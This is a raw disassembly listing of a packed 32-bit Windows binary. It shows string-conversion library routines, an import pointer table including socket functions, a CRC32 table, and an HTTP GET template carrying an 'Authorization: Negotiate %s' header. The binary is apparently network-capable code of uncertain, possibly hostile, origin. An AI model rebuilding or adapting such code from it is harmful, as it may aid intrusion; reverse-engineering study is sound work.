loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	dword_4270E8	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE8C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC024
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	dword_427014	; GetStringTypeW
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB89C
		push	esi
		push	edi
		call	dword_427018	; GetStringTypeA
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC024, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427014	; GetStringTypeW
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_427188	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_427188	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE94


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	dword_427018	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: .packed:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: .packed:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: .packed:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
dword_427000	dd 77E78EAAh		; DATA XREF: sub_41036B+5ECr
					; sub_41716F+C0r ...
dword_427004	dd 77E70192h		; DATA XREF: sub_4251BB+F9r
dword_427008	dd 77E7176Ch		; DATA XREF: sub_424FB8+8r
dword_42700C	dd 77E7339Ch		; DATA XREF: sub_424F80+Cr
dword_427010	dd 77E7C9E7h		; DATA XREF: sub_424F62+5r
					; sub_424F73+6r
dword_427014	dd 77E7C866h		; DATA XREF: sub_4244F4+3Fr
					; sub_4244F4+12Dr ...
dword_427018	dd 77E641EBh		; DATA XREF: sub_4244F4+59r
					; sub_4244F4+8Dr ...
dword_42701C	dd 77E73FF9h		; DATA XREF: sub_4240E7+2Cr
dword_427020	dd 77E7FF2Eh		; DATA XREF: sub_423FB9:loc_424009r
					; sub_424030:loc_424083r
dword_427024	dd 77E78406h		; DATA XREF: sub_423B0B+FFr
					; sub_423B0B+166r ...
dword_427028	dd 77E79C3Dh		; DATA XREF: sub_423B0B+158r
					; sub_423DD1+143r
dword_42702C	dd 77E7C931h		; DATA XREF: sub_423B0B+19Dr
dword_427030	dd 77E77EE1h		; DATA XREF: sub_4239D9+9r
dword_427034	dd 77E67702h		; DATA XREF: sub_4239D9:loc_423A08r
					; sub_4239D9+E1r
dword_427038	dd 77E7C9E1h		; DATA XREF: sub_4239D9+CEr
dword_42703C	dd 77E9C5B1h		; DATA XREF: sub_4239D9+11Fr
dword_427040	dd 77EB9A84h		; DATA XREF: sub_4234F7+138r
dword_427044	dd 77E781F9h		; DATA XREF: sub_4232A8+42r
					; sub_4232A8+14Dr ...
dword_427048	dd 77E77405h		; DATA XREF: sub_4232A8+5Er
					; sub_4232A8+A7r ...
dword_42704C	dd 77F522F2h		; DATA XREF: sub_422EA8+58r
dword_427050	dd 77E6D706h		; DATA XREF: sub_42194C+215r
					; sub_426587+2Er
dword_427054	dd 77E6C703h		; DATA XREF: sub_4208E2+1Ar
dword_427058	dd 77E7A13Fh		; DATA XREF: sub_4208E2+2Fr
dword_42705C	dd 77E7849Fh		; DATA XREF: sub_420749+48r
					; sub_420988+14r
dword_427060	dd 77E73196h		; DATA XREF: sub_424F9C+Cr
dword_427064	dd 77E7980Ah		; DATA XREF: sub_41ED74+76r
					; sub_41EE25+51r ...
dword_427068	dd 77E79E34h		; DATA XREF: sub_41E742+240r
					; sub_41F216+120r ...
dword_42706C	dd 77E75CB5h		; DATA XREF: sub_40111D+DFr
					; sub_401221+7Ar ...
dword_427070	dd 77E77963h		; DATA XREF: sub_40111D+B8r
					; sub_401221+2DBr ...
dword_427074	dd 77E61BB8h		; DATA XREF: sub_40111D+A7r
					; sub_401221+2C3r ...
dword_427078	dd 77E7A099h		; DATA XREF: sub_40111D+83r
					; sub_401221+DAr ...
dword_42707C	dd 77E704FCh		; DATA XREF: sub_40111D+74r
					; sub_401221+C4r ...
dword_427080	dd 77E61BE6h		; DATA XREF: sub_40111D+29r
					; sub_401221+1F4r ...
dword_427084	dd 77E7AC37h		; DATA XREF: sub_401221+3C1r
					; sub_401ACD+79Fr ...
dword_427088	dd 77E73628h		; DATA XREF: sub_401221+33Br
					; sub_401ACD+76D4r ...
dword_42708C	dd 77E706B7h		; DATA XREF: sub_401221:loc_401495r
					; sub_41761C+15r ...
dword_427090	dd 77E80656h		; DATA XREF: sub_401221+267r
dword_427094	dd 77F5157Dh		; DATA XREF: sub_401221+1D8r
					; sub_401221+3E6r ...
dword_427098	dd 77E6BD13h		; DATA XREF: sub_401221:loc_4013DCr
dword_42709C	dd 77E70396h		; DATA XREF: sub_401221+1B5r
					; sub_401221+221r ...
dword_4270A0	dd 77E74CABh		; DATA XREF: sub_401221+19Er
					; sub_4100B4+110r ...
dword_4270A4	dd 77E79F93h		; DATA XREF: sub_401221+D3r
					; sub_409909+2r ...
dword_4270A8	dd 77E79D5Bh		; DATA XREF: sub_401221+6Br
					; sub_401221+311r ...
dword_4270AC	dd 77E7C2C4h		; DATA XREF: sub_401221+64r
dword_4270B0	dd 77E7751Ah		; DATA XREF: sub_401221+2Cr
					; sub_401ACD+253Br ...
dword_4270B4	dd 77E75CEBh		; DATA XREF: sub_401ACD+791Ar
					; sub_40B4F5+2Br ...
dword_4270B8	dd 77E6AD34h		; DATA XREF: sub_401ACD+68CFr
					; sub_4188A6+35r
dword_4270BC	dd 77E71AFEh		; DATA XREF: sub_401ACD+6697r
dword_4270C0	dd 77E805D8h		; DATA XREF: sub_409909+13Ar
					; sub_409909:loc_409E17r ...
dword_4270C4	dd 77E7A5FDh		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
dword_4270C8	dd 77E65F4Ch		; DATA XREF: .packed:0040ABEDr
					; sub_419AE0+34r
dword_4270CC	dd 77E7513Ch		; DATA XREF: .packed:0040AC84r
					; .packed:0040B0C3r
dword_4270D0	dd 77E7C657h		; DATA XREF: .packed:0040ACF8r
					; .packed:0040AF0Fr ...
dword_4270D4	dd 77E73C49h		; DATA XREF: sub_40B425+4Ar
					; sub_40BB65+1AFr ...
dword_4270D8	dd 77F7E300h		; DATA XREF: sub_40C3E8+142r
dword_4270DC	dd 77F7E21Fh		; DATA XREF: sub_40C3E8+D7r
dword_4270E0	dd 77E7C706h		; DATA XREF: sub_40C600+77r
dword_4270E4	dd 77F53275h		; DATA XREF: sub_40C600+6Br
					; sub_40C600+22Fr
dword_4270E8	dd 77E77CCEh		; DATA XREF: sub_40DB5E+66r
					; sub_40DC41+65r ...
dword_4270EC	dd 77E78B82h		; DATA XREF: .packed:0040E081r
					; sub_40EED1+25r ...
dword_4270F0	dd 77E79D8Ch		; DATA XREF: .packed:0040E04Fr
					; sub_40EE8E+3Br ...
dword_4270F4	dd 77E73EACh		; DATA XREF: .packed:0040E035r
dword_4270F8	dd 77E7A837h		; DATA XREF: .packed:0040DFB4r
					; sub_4100B4+1CBr ...
dword_4270FC	dd 77E616B4h		; DATA XREF: sub_40EF1C+19Br
					; sub_4116D6+115r ...
dword_427100	dd 77E79CE3h		; DATA XREF: sub_40EF1C+111r
					; sub_411920+77r ...
dword_427104	dd 77E79C90h		; DATA XREF: sub_40EF1C+FDr
					; sub_40EF1C+10Ar ...
dword_427108	dd 77E7727Ah		; DATA XREF: sub_40EF1C+74r
					; sub_411827+23r ...
dword_42710C	dd 77E64106h		; DATA XREF: sub_40FF31+A0r
					; sub_41AF8F+1B6r
dword_427110	dd 77E64006h		; DATA XREF: sub_40FF31+8Cr
					; sub_41AF8F+19Fr
dword_427114	dd 77E793EFh		; DATA XREF: sub_4100B4+1F5r
					; sub_4109F1+38r ...
dword_427118	dd 77E79424h		; DATA XREF: sub_41036B+280r
					; sub_41761C+135r
dword_42711C	dd 77E794BFh		; DATA XREF: sub_41036B+272r
					; sub_41761C+123r
dword_427120	dd 77E75E67h		; DATA XREF: sub_41036B+212r
					; sub_41036B+5DBr ...
dword_427124	dd 77E75D9Eh		; DATA XREF: sub_41036B+201r
					; sub_41716F+26r
dword_427128	dd 77E78C81h		; DATA XREF: sub_4109F1+6Cr
					; sub_4161C1+259r ...
dword_42712C	dd 77E76968h		; DATA XREF: sub_41144E+5Fr
dword_427130	dd 77E74C59h		; DATA XREF: sub_4116D6+C7r
dword_427134	dd 77EC7C51h		; DATA XREF: sub_411AAB+5Er
dword_427138	dd 77E802FCh		; DATA XREF: sub_413694+18Cr
					; sub_413694+2D4r ...
dword_42713C	dd 77E6D75Bh		; DATA XREF: sub_413694+182r
					; sub_4143F7+FFr
dword_427140	dd 77E70F89h		; DATA XREF: sub_415D38+Dr
dword_427144	dd 77E80618h		; DATA XREF: sub_4172C1+170r
					; sub_418AF1+D4r
dword_427148	dd 77E78147h		; DATA XREF: sub_4172C1+BCr
dword_42714C	dd 77F51597h		; DATA XREF: sub_417493+41r
					; sub_417493+F5r ...
dword_427150	dd 77F516F8h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar ...
dword_427154	dd 77E77CB7h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
dword_427158	dd 77E7F01Ah		; DATA XREF: sub_41761C+88r
					; sub_4177C3+55r
dword_42715C	dd 77E61A54h		; DATA XREF: sub_41761C+56r
					; sub_4177C3+97r
dword_427160	dd 77E7C3A5h		; DATA XREF: sub_41761C+34r
					; sub_4177C3+2Er
dword_427164	dd 77E76A60h		; DATA XREF: sub_418699+2Dr
dword_427168	dd 77E71B14h		; DATA XREF: sub_418723+26r
dword_42716C	dd 77E7166Fh		; DATA XREF: sub_418723+1Dr
dword_427170	dd 77E75090h		; DATA XREF: sub_41875E+69r
dword_427174	dd 77E74D76h		; DATA XREF: sub_41875E+36r
dword_427178	dd 77E77797h		; DATA XREF: sub_41875E+25r
dword_42717C	dd 77E7011Ah		; DATA XREF: sub_4187E0+96r
dword_427180	dd 77E73CE2h		; DATA XREF: sub_4187E0+60r
dword_427184	dd 77E668D9h		; DATA XREF: sub_4188A6+15Dr
dword_427188	dd 77E79924h		; DATA XREF: sub_4190A5+13r
					; sub_4232A8+20Dr ...
dword_42718C	dd 77E76A2Eh		; DATA XREF: sub_419C09+DEr
dword_427190	dd 77E7FF65h		; DATA XREF: sub_41A05C+5Ar
dword_427194	dd 77EB7624h		; DATA XREF: sub_41A05C+3Dr
dword_427198	dd 77E6C29Dh		; DATA XREF: sub_41A6EA+1EBr
dword_42719C	dd 77E76C1Ah		; DATA XREF: sub_41AF8F+1CFr
dword_4271A0	dd 77F5722Fh		; DATA XREF: sub_41BBE2+110r
					; sub_41BBE2+22Dr ...
dword_4271A4	dd 77F6183Eh		; DATA XREF: sub_426356r
dword_4271A8	dd 77E6177Ah		; DATA XREF: sub_41E1D3+9Fr
					; sub_423B0B+59r
dword_4271AC	dd 77E7C938h		; DATA XREF: sub_41E1D3+74r
dword_4271B0	dd 77E7C486h		; DATA XREF: sub_41E1D3+26r
dword_4271B4	dd 77E7AC5Eh		; DATA XREF: sub_41E52A+54r
dword_4271B8	dd 77E76E0Bh		; DATA XREF: sub_41E672+50r
dword_4271BC	dd 77E7C726h		; DATA XREF: sub_41E672+11r
		dd 0
dword_4271C4	dd 71AB5A01h		; DATA XREF: sub_4157BA+20r
dword_4271C8	dd 71AB4122h		; DATA XREF: sub_4156D1+D4r
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
dword_4271D0	dd 71AB401Ch		; DATA XREF: sub_4131EC+21Br
					; sub_4131EC+243r
dword_4271D4	dd 71AB1836h		; DATA XREF: sub_40F9BF+6Er
					; sub_40FA3C+8Er
dword_4271D8	dd 71AB41DAh		; DATA XREF: sub_40F3AA+4Ar
					; sub_40F9BF+15r
dword_4271DC	dd 71AB3F8Dh		; DATA XREF: sub_40F3AA+5Ar
dword_4271E0	dd 71AB155Ah		; DATA XREF: sub_40F3AA+8Dr
					; sub_414251+70r ...
dword_4271E4	dd 71AB3ECEh		; DATA XREF: sub_40F3AA+B5r
dword_4271E8	dd 71AB5DE2h		; DATA XREF: sub_40F3AA+C9r
dword_4271EC	dd 71AB868Dh		; DATA XREF: sub_40F3AA+171r
dword_4271F0	dd 71AB12F8h		; DATA XREF: sub_40E9FB+27r
					; sub_40F9BF+35r ...
dword_4271F4	dd 71AB1746h		; DATA XREF: sub_40E9FB+36r
					; sub_40F9BF+41r ...
dword_4271F8	dd 71AB3E5Dh		; DATA XREF: sub_40E9FB+59r
					; sub_40EAE9+45r ...
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
					; sub_40F3AA+1E1r
dword_427200	dd 71AB1A6Dh		; DATA XREF: sub_40E9FB+E0r
					; sub_40EAE9:loc_40EB55r ...
dword_427204	dd 71AB3C22h		; DATA XREF: .packed:0040D64Cr
					; sub_40E9FB+45r ...
dword_427208	dd 71AB1AF4h		; DATA XREF: sub_40D2A2+12r
					; sub_40E9FB+C3r ...
dword_42720C	dd 71AB1890h		; DATA XREF: sub_40D104+4Cr
					; sub_40F3AA+106r
dword_427210	dd 71AB1B7Bh		; DATA XREF: sub_426350r
dword_427214	dd 71AB157Eh		; DATA XREF: sub_401ACD+2F5Fr
		align 10h
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: sub_4167A0+2BDr
					; sub_4167A0+2D8r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
